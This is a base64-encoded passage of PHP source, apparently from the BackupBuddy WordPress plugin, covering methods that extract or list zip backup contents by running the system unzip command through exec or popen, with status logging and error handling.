bCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkJJHppcF9maWxlCQkJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgZmlsZSB0byBleHRyYWN0IGZyb20uCgkJICoJQHBhcmFtCXN0cmluZwkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBleHRyYWN0IGludG8uCgkJICoJQHJldHVybglib29sCQkJCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBvdGhlcndpc2UKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gZXh0cmFjdF9nZW5lcmljX2Z1bGwoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9ICcnICkgewoJCQoJCQkkc3VtbWFyeSA9ICcnOwoJCQkkb3V0cHV0ID0gYXJyYXkoKTsKCQkJJGV4aXRfY29kZSA9IDEyNzsKCQkJJG1hdGNoZXMgPSBhcnJheSgpOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6aXBwYXRoID0gJyc7CgkJCSRjb21tYW5kID0gJyc7CgkJCQoJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2V4ZWMnICkgKSB7CgkJCQoJCQkJLy8gR2V0IHRoZSBjb21tYW5kIHBhdGggZm9yIHRoZSB1bnppcCBjb21tYW5kIC0gc2hvdWxkIHJldHVybiBhIHRyaW1tZWQgc3RyaW5nCgkJCQkkemlwcGF0aCA9ICR0aGlzLT5nZXRfY29tbWFuZF9wYXRoKCBzZWxmOjpDT01NQU5EX1VOWklQX1BBVEggKTsKCQkJCQoJCQkJLy8gRGV0ZXJtaW5lIGlmIHdlIGFyZSB1c2luZyBhbiBhYnNvbHV0ZSBwYXRoCgkJCQlpZiAoICFlbXB0eSAoICR6aXBwYXRoICkgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VzaW5nIGFic29sdXRlIHVuemlwIHBhdGg6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkemlwcGF0aCApOwoJCQkJfQoJCQkJCgkJCQkvLyBBZGQgdGhlIHRyYWlsaW5nIHNsYXNoIGlmIHJlcXVpcmVkCgkJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd1bnppcCc7CgkKCQkJCS8vIFdlJ2xsIHRyeSBhbmQgZXh0cmFjdCBmcm9tIHRoZSBiYWNrdXAgZmlsZSB0byB0aGUgZ2l2ZW4gZGlyZWN0b3J5LCB2ZXJ5IHF1aWV0bHkgd2l0aCBvdmVyd3JpdGUKCQkJCS8vIElmIHdlIGp1c3QgZGlkIC1vIHdlIGNvdWxkIHRyeSBhbmQgZ2V0IGZpbGUgY291bnQgZnJvbSBwcm9jZXNzaW5nICRvdXRwdXQgYnV0IGl0IHdvdWxkIGJlIGEgYml0IHRpbWUtY29uc3VtaW5nCgkJCQkkdW56aXBfY29tbWFuZCA9ICRjb21tYW5kIC4gIiAtcXFvICd7JHppcF9maWxlfScgLWQgJ3skZGVzdGluYXRpb25fZGlyZWN0b3J5fScgLXggJ2ltcG9ydGJ1ZGR5LnBocCciOwoJCQkJCgkJCQkkdW56aXBfY29tbWFuZCA9ICggc2VsZjo6T1NfVFlQRV9XSU4gPT09ICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgPyBzdHJfcmVwbGFjZSggJ1wnJywgJyInLCAkdW56aXBfY29tbWFuZCApIDogJHVuemlwX2NvbW1hbmQ7CgkJCQkKCQkJCS8vIFRoaXMgY29kZSBrZWVwcyBsb2FkIGJhbGFuY2VyIGNvbm5lY3Rpb25zIG9wZW4gdW50aWwgcHJvY2VzcyBpcyBjb21wbGV0ZQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0F0dGVtcHRpbmcgdG8gdXNlIHBvcGVuIHRvIGNhbGwgdW56aXAgdmlhIGV4ZWMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJJHBpcGUgPSBAcG9wZW4oICR1bnppcF9jb21tYW5kLCAncicgKTsKCQkJCWlmICggZW1wdHkoICRwaXBlICkgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ2Bwb3BlbigpYCBub3QgYXZhaWxhYmxlLiBDYWxsaW5nIHVuemlwIGRpcmVjdGx5IHZpYSBgZXhlYygpYCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJQGV4ZWMoICR1bnppcF9jb21tYW5kLCAkb3V0cHV0LCAkZXhpdF9jb2RlKTsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VuemlwcGluZyB3aXRoIGBleGVjKClgIHZpYSBgcG9wZW4oKWAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCQkvLyBUZWxsIHRoZSBzdHJlYW0gd2Ugd2FudCBhbGwgdGhlIGRhdGEgYXMgaXRzIGF2YWlsYWJsZQoJCQkJCXN0cmVhbV9zZXRfYmxvY2tpbmcoICRwaXBlLCBmYWxzZSApOwoKCQkJCQkvLyBVbnppcCAxMDI0IGF0IGEgdGltZSBhbmQgdGhlbiB1cGRhdGUgdGhlIGJyb3dzZXIgc28gaXQgZG9lc24ndCB0aW1lb3V0LgoJCQkJCXdoaWxlICggISBmZW9mKCAkcGlwZSApICkgewoJCQkJCQlmcmVhZCggJHBpcGUsIDEwMjQgKTsKCgkJCQkJCS8vIFRoaXMgZWNobyBpcyByZXF1aXJlZCB0byBrZWVwIExvYWQgQmFsYW5jZXIgY29ubmVjdGlvbiBvcGVuCgkJCQkJCWVjaG8gIjwhLS0gUHJvY2Vzc2luZy4uLiAtLT4iOwoJCQkJCQlmbHVzaCgpOwoJCQkJCX0KCgkJCQkJLy8gQ2xvc2UgdGhlIHBpcGUgYW5kIGdldCB0aGUgdW56aXAgZXhpdCBjb2RlLgoJCQkJCSRleGl0X2NvZGUgPSBwY2xvc2UoICRwaXBlICk7CgoJCQkJfSAvLyBFTkQgTG9hZEJhbGFuY2VyIENvZGUKCgkJCQkKCQkJCS8vIE5vdGU6IHdlIGRvbid0IG9wZW4gdGhlIGZpbGUgYW5kIHRoZW4gZG8gc3R1ZmYgYnV0IGl0J3MgYWxsIGRvbmUgaW4gb25lIGFjdGlvbgoJCQkJLy8gc28gd2UgbmVlZCB0byBpbnRlcnByZXQgdGhlIHJldHVybiBjb2RlIHRvIGRlZGlkZSB3aGF0IHRvIGRvCgkJCQlzd2l0Y2ggKCAoaW50KSAkZXhpdF9jb2RlICkgewoJCQkJCWNhc2UgMDoKCQkJCQkJLy8gSGFuZGxlZCBhcmNoaXZlIGFuZCBhcHBhcmVudGx5IG5vIGV4dHJhY3Rpb24gcHJvYmxlbXMKCQkJCQkJCgkJCQkJCS8vIE5vdyB3ZSBoYXZlIHRvIGRvIGEgc2Vjb25kIHJ1biB0byBmaW5kIG91dCB0aGUgZmlsZSBjb3VudCAoY3JhenkpCgkJCQkJCSRsaXN0X2NvbW1hbmQgPSAkY29tbWFuZCAuICIgLXFsICd7JHppcF9maWxlfSciOwoJCQkJCQkKCQkJCQkJJGxpc3RfY29tbWFuZCA9ICggc2VsZjo6T1NfVFlQRV9XSU4gPT09ICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgPyBzdHJfcmVwbGFjZSggJ1wnJywgJyInLCAkbGlzdF9jb21tYW5kICkgOiAkbGlzdF9jb21tYW5kOwoJCQkJCQkKCQkJCQkJLy8kc3VtbWFyeSA9IEBleGVjKCAkbGlzdF9jb21tYW5kLCAkb3V0cHV0LCAkZXhpdF9jb2RlKTsKCQkJCQkJJHN1bW1hcnkgPSBAZXhlYyggJGxpc3RfY29tbWFuZCApOwoKCQkJCQkJLy8gQ3VycmVudGx5IGRvbid0IGJvdGhlciB0byBjaGVjayBleGl0IGNvZGUsIGlmIHdlIGZhaWxlZCB0aGVuIHdoYXRldmVyIHdlIGdvdCBiYWNrIGluCgkJCQkJCS8vIExhc3Qgb3V0cHV0IGxpbmUgX3Nob3VsZF8gaGF2ZSB0aGUgaW5mb3JtYXRpb24gd2UgbmVlZCAoYW5kIHRoYXQgaXMgcmV0dXJuZWQgYnkgZXhlYykKCQkJCQkJLy8gJHN1bW1hcnkgaXMgdW5saWtlbHkgdG8gbWF0Y2ggdGhlIHBhdHRlcm4gc28gZmlsZSBjb3VudCB3aWxsIGp1c3QgZGVmYXVsdCB0byAwCgkJCQkJCWlmICggcHJlZ19tYXRjaCgifFtbOl5kaWdpdDpdXSsoP1A8Ynl0ZV9jb3VudD5bWzpkaWdpdDpdXSspW1s6XmRpZ2l0Ol1dKyg/UDxmaWxlX2NvdW50PltbOmRpZ2l0Ol1dKylbWzpzcGFjZTpdXSsoZmlsZXMpfCIsICRzdW1tYXJ5LCAkbWF0Y2hlcyApICkgewoJCQkJCQkKCQkJCQkJCS8vIFNob3VsZCBiZSBhYmxlIHRvIHB1bGwgdGhpcyBzdHJhaWdodCBvdXQgcHJvdmlkZWQgdGhlIHVuemlwIHZlcnNpb24gc3R1Y2sgdG8gdGhlIHJ1bGVzCgkJCQkJCQkkZmlsZV9jb3VudCA9ICRtYXRjaGVzWyAnZmlsZV9jb3VudCcgXTsKCQkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCS8vIFNvbWUgcmVhc29uIHdlIGRpZG4ndCBnZXQgZ29vZCBvdXRwdXQgb3IgdGhlIGZvcm1hdCBpcyBvZGQKCQkJCQkJCSRmaWxlX2NvdW50ID0gMDsKCQkJCQkJfQoJCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnZXhlYyAodW56aXApIGV4dHJhY3RlZCBmaWxlIGNvbnRlbnRzICglMSRzIHRvICUyJHMpJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICkgKTsKCQoJCQkJCQkkdGhpcy0+bG9nX2FyY2hpdmVfZmlsZV9zdGF0cyggJHppcF9maWxlICk7CgkJCQkJCQoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJYnJlYWs7CgoJCQkJCWRlZmF1bHQ6CgkJCQkJCS8vIEZvciBub3cgbGV0J3MganVzdCBwcmludCB0aGUgZXJyb3IgY29kZSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhpdF9jb2RlOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh1bnppcCkgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIHRvIGV4dHJhY3QgY29udGVudHMgKCUxJHMgdG8gJTIkcykgLSBFcnJvciBJbmZvOiAlMyRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiVW5hYmxlIHRvIGdldCBhcmNoaXZlIGNvbnRlbnRzIiApOwoJCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCX0KCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBleGVjIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBmdW5jdGlvbgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnZXhlYyBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXhlYyBmdW5jdGlvbiBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJLy8kcmVzdWx0ID0gYXJyYXkoIDEsICJDbGFzcyBub3QgYXZhaWxhYmxlIHRvIG1hdGNoIG1ldGhvZCIgKTsKCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGFuIGFycmF5IGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQkKCQl9CgoJCS8qKgoJCSAqCWV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkJJHppcF9maWxlCQkJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgZmlsZSB0byBleHRyYWN0IGZyb20uCgkJICoJQHBhcmFtCXN0cmluZwkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBleHRyYWN0IGludG8uCgkJICoJQHBhcmFtCWFycmF5CQkkaXRlbXMJCQkJCQlNYXBwaW5nIG9mIHdoYXQgdG8gZXh0cmFjdCBhbmQgdG8gd2hhdAoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCQkJCXRydWUgb24gc3VjY2VzcyAoYWxsIGV4dHJhY3Rpb25zIHN1Y2Nlc3NmdWwpLCBmYWxzZSBvdGhlcndpc2UKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gZXh0cmFjdF9nZW5lcmljX3NlbGVjdGVkKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgPSAnJywgJGl0ZW1zICkgewoJCQoJCQkkc3VtbWFyeSA9ICcnOwoJCQkkb3V0cHV0ID0gYXJyYXkoKTsKCQkJJGV4aXRfY29kZSA9IDEyNzsKCQkJJG1hdGNoZXMgPSBhcnJheSgpOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6aXBwYXRoID0gJyc7CgkJCSRjb21tYW5kID0gJyc7CgkJCSRyZW5hbWVfcmVxdWlyZWQgPSBmYWxzZTsKCQkJCgkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZXhlYycgKSApIHsKCQkJCgkJCQkvLyBHZXQgdGhlIGNvbW1hbmQgcGF0aCBmb3IgdGhlIHVuemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJCSR6aXBwYXRoID0gJHRoaXMtPmdldF9jb21tYW5kX3BhdGgoIHNlbGY6OkNPTU1BTkRfVU5aSVBfUEFUSCApOwoJCQkJCgkJCQkvLyBEZXRlcm1pbmUgaWYgd2UgYXJlIHVzaW5nIGFuIGFic29sdXRlIHBhdGgKCQkJCWlmICggIWVtcHR5ICggJHppcHBhdGggKSApIHsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdVc2luZyBhYnNvbHV0ZSB1bnppcCBwYXRoOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHppcHBhdGggKTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkJJGNvbW1hbmQgPSAkdGhpcy0+c2xhc2hpZnkoICR6aXBwYXRoICkgLiAndW56aXAnOwkKCQoJCQkJLy8gTm93IHdlIG5lZWQgdG8gdGFrZSBlYWNoIGl0ZW0gYW5kIHJ1biBhbiB1bnppcCBmb3IgaXQgLSB1bmZvcnR1bmF0ZWx5IHRoZXJlIGlzIG5vIGVhc3kgd2F5IG9mIGNvbWJpbmluZwoJCQkJLy8gYXJiaXRyYXJ5IGV4dHJhY3Rpb25zIGludG8gYSBzaW5nbGUgY29tbWFuZCBpZiBzb21lIG1pZ2h0IGJlIHRvIGEgCgkJCQlmb3JlYWNoICggJGl0ZW1zIGFzICR3aGF0ID0+ICR3aGVyZSApIHsKCQkJCQoJCQkJCSRyZW5hbWVfcmVxdWlyZWQgPSBmYWxzZTsKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCQkvLyBEZWNpZGUgaG93IHRvIGV4dHJhY3QgYmFzZWQgb24gd2hlcmUKCQkJCQlpZiAoIGVtcHR5KCAkd2hlcmUpICkgewoJCQkJCQoJCQkJCQkvLyBFeHRyYWN0IGRpcmVjdCB0byBkZXN0aW5hdGlvbiBkaXJlY3Rvcnkgd2l0aCBqdW5rZWQgcGF0aAoJCQkJCQkkdW56aXBfY29tbWFuZCA9ICRjb21tYW5kIC4gIiAtcXFvaiAneyR6aXBfZmlsZX0nICd7JHdoYXR9JyAtZCAneyRkZXN0aW5hdGlvbl9kaXJlY3Rvcnl9JyAiOwoJCQkJCQoJCQkJCX0gZWxzZWlmICggIWVtcHR5KCAkd2hlcmUgKSApIHsKCQkJCQkKCQkJCQkJaWYgKCAkd2hhdCA9PT0gJHdoZXJlICkgewoJCQkJCQkKCQkJCQkJCS8vIEV4dHJhY3QgdG8gc2FtZSBkaXJlY3Rvcnkgc3RydWN0dXJlIC0gZG9uJ3QganVuayBwYXRoLCBubyBuZWVkIHRvIGFkZCB3aGVyZSB0byBkZXN0bmF0aW9uIGFzIGF1dG9tYXRpYwoJCQkJCQkJJHVuemlwX2NvbW1hbmQgPSAkY29tbWFuZCAuICIgLXFxbyAneyR6aXBfZmlsZX0nICd7JHdoYXR9JyAtZCAneyRkZXN0aW5hdGlvbl9kaXJlY3Rvcnl9JyAiOwoJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQkvLyBGaXJ0IHdlJ2xsIGV4dHJhY3QgYW5kIGp1bmsgdGhlIHBhdGgKCQkJCQkJCSR1bnppcF9jb21tYW5kID0gJGNvbW1hbmQgLiAiIC1xcW9qICd7JHppcF9maWxlfScgJ3skd2hhdH0nIC1kICd7JGRlc3RpbmF0aW9uX2RpcmVjdG9yeX0nICI7CgkJCQkJCQkKCQkJCQkJCS8vIFdpbGwgbmVlZCB0byByZW5hbWUgaWYgdGhlIGV4dHJhY3QgaXMgb2sKCQkJCQkJCSRyZW5hbWVfcmVxdWlyZWQgPSB0cnVlOwoJCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCX0KCQkJCQoJCQkJCSR1bnppcF9jb21tYW5kID0gKCBzZWxmOjpPU19UWVBFX1dJTiA9PT0gJHRoaXMtPmdldF9vc190eXBlKCkgKSA/IHN0cl9yZXBsYWNlKCAnXCcnLCAnIicsICR1bnppcF9jb21tYW5kICkgOiAkdW56aXBfY29tbWFuZDsKCQkJCQoJCQkJCUBleGVjKCAkdW56aXBfY29tbWFuZCwgJG91dHB1dCwgJGV4aXRfY29kZSk7CgkJCQkKCQkJCQkvLyBOb3RlOiB3ZSBkb24ndCBvcGVuIHRoZSBmaWxlIGFuZCB0aGVuIGRvIHN0dWZmIGJ1dCBpdCdzIGFsbCBkb25lIGluIG9uZSBhY3Rpb24KCQkJCQkvLyBzbyB3ZSBuZWVkIHRvIGludGVycHJldCB0aGUgcmV0dXJuIGNvZGUgdG8gZGVkaWRlIHdoYXQgdG8gZG8KCQkJCQlzd2l0Y2ggKCAoaW50KSAkZXhpdF9jb2RlICkgewoJCQkJCQljYXNlIDA6CgkJCQkJCQkvLyBIYW5kbGVkIGFyY2hpdmUgYW5kIGFwcGFyZW50bHkgbm8gZXh0cmFjdGlvbiBwcm9ibGVtcwkJCQkJCQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnZXhlYyAodW56aXApIGV4dHJhY3RlZCBmaWxlIGNvbnRlbnRzICglMSRzIGZyb20gJTIkcyB0byAlMyRzJTQkcyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkd2hhdCwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkd2hlcmUgKSApOwoJCQkJCQkKCQkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQkJCgkJCQkJCQkvLyBSZW5hbWUgaWYgd2UgaGF2ZSB0bwoJCQkJCQkJaWYgKCB0cnVlID09PSAkcmVuYW1lX3JlcXVpcmVkKSB7CgkJCQkJCQkKCQkJCQkJCQkvLyBOb3RlOiB3ZSBqdW5rZWQgdGhlIHBhdGggb24gdGhlIGV4dHJhY3Rpb24gc28ganVzdCB0aGUgZmlsZW5hbWUgb2YgJHdoYXQgaXMgdGhlIHNvdXJjZSBidXQKCQkJCQkJCQkvLyAkd2hlcmUgY291bGQgYmUgYSBzaW1wbGUgZmlsZSBuYW1lIG9yIGEgZmlsZSBwYXRoIAoJCQkJCQkJCSRyZXN1bHQgPSAkcmVzdWx0ICYmIHJlbmFtZSggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSggJHdoYXQgKSwKCQkJCQkJCQkJCQkJCQkJICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHdoZXJlICk7CgkJCQkJCQkJCgkJCQkJCQl9CgkJCQkJCQlicmVhazsKCgkJCQkJCWRlZmF1bHQ6CgkJCQkJCQkvLyBGb3Igbm93IGxldCdzIGp1c3QgcHJpbnQgdGhlIGVycm9yIGNvZGUgYW5kIGRyb3AgdGhyb3VnaAoJCQkJCQkJJGVycm9yX3N0cmluZyA9ICRleGl0X2NvZGU7CgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh1bnppcCkgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIHRvIGV4dHJhY3QgY29udGVudHMgKCUxJHMgZnJvbSAlMiRzIHRvICUzJHMlNCRzKSAtIEVycm9yIEluZm86ICU1JHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHdoYXQsICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJHdoZXJlLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGFuIGFycmF5IGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQl9CgkJCQkJCgkJCQkJLy8gSWYgdGhlIGV4dHJhY3Rpb24gZmFpbGVkIChvciByZW5hbWUgYWZ0ZXIgZXh0cmFjdGlvbikgdGhlbiBicmVhayBvdXQgb2YgdGhlIGZvcmVhY2ggYW5kIHNpbXBseSByZXR1cm4gZmFsc2UKCQkJCQlpZiAoIGZhbHNlID09PSAkcmVzdWx0ICkgewoJCQkJCQoJCQkJCQlicmVhazsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJfQoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIGV4ZWMgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGZ1bmN0aW9uCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdleGVjIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBleGVjIGZ1bmN0aW9uIG5vbi1leGlzdGVudCcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCgkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIkNsYXNzIG5vdCBhdmFpbGFibGUgdG8gbWF0Y2ggbWV0aG9kIiApOwoJCQkJLy8gQ3VycmVudGx5IGFzIHdlIGFyZSByZXR1cm5pbmcgYW4gYXJyYXkgYXMgYSB2YWxpZCByZXN1bHQgd2UganVzdCByZXR1cm4gZmFsc2Ugb24gZmFpbHVyZQoJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJCQoJCX0KCgkJLyoqCgkJICoJZmlsZV9leGlzdHMoKQoJCSAqCQoJCSAqCVRlc3RzIHdoZXRoZXIgYSBmaWxlICh3aXRoIHBhdGgpIGV4aXN0cyBpbiB0aGUgZ2l2ZW4gemlwIGZpbGUKCQkgKglJZiBsZWF2ZV9vcGVuIGlzIHRydWUgdGhlbiB0aGUgemlwIG9iamVjdCB3aWxsIGJlIGxlZnQgb3BlbiBmb3IgZmFzdGVyIGNoZWNraW5nIGZvciBzdWJzZXF1ZW50IGZpbGVzIHdpdGhpbiB0aGlzIHppcAoJCSAqICBOb3RlOiB0aGlzIGlzIGlnbm9yZWQgaGVyZSBiZWNhdXNlIGl0IGhhcyBubyBtZWFuaW5nIGluIHRoZSB1c2Ugb2YgdGhlIHVuemlwIGNvbW1hbmQKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwX2ZpbGUJCVRoZSB6aXAgZmlsZSB0byBjaGVjawoJCSAqCUBwYXJhbQkJc3RyaW5nCSRsb2NhdGVfZmlsZQlUaGUgZmlsZSB0byB0ZXN0IGZvcgoJCSAqCUBwYXJhbQkJYm9vbAkkbGVhdmVfb3BlbgkJT3B0aW9uYWw6IFRydWUgaWYgdGhlIHppcCBmaWxlIHNob3VsZCBiZSBsZWZ0IG9wZW4KCQkgKglAcmV0dXJuCQlib29sL2FycmF5CQkJCVRydWUgaWYgdGhlIGZpbGUgaXMgZm91bmQgaW4gdGhlIHppcCBhbmQgZmFsc2UgaWYgbm90LCBhcnJheSBmb3Igb3RoZXIgcHJvYmxlbQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUsICRsb2NhdGVfZmlsZSwgJGxlYXZlX29wZW4gPSBmYWxzZSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5maWxlX2V4aXN0c19nZW5lcmljKCAkemlwX2ZpbGUsICRsb2NhdGVfZmlsZSApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmZpbGVfZXhpc3RzX2dlbmVyaWMoICR6aXBfZmlsZSwgJGxvY2F0ZV9maWxlICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJCQkJICAJCgkJfQoKCQkvKioKCQkgKglmaWxlX2V4aXN0c19nZW5lcmljKCkKCQkgKgkKCQkgKglUZXN0cyB3aGV0aGVyIGEgZmlsZSAod2l0aCBwYXRoKSBleGlzdHMgaW4gdGhlIGdpdmVuIHppcCBmaWxlCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcF9maWxl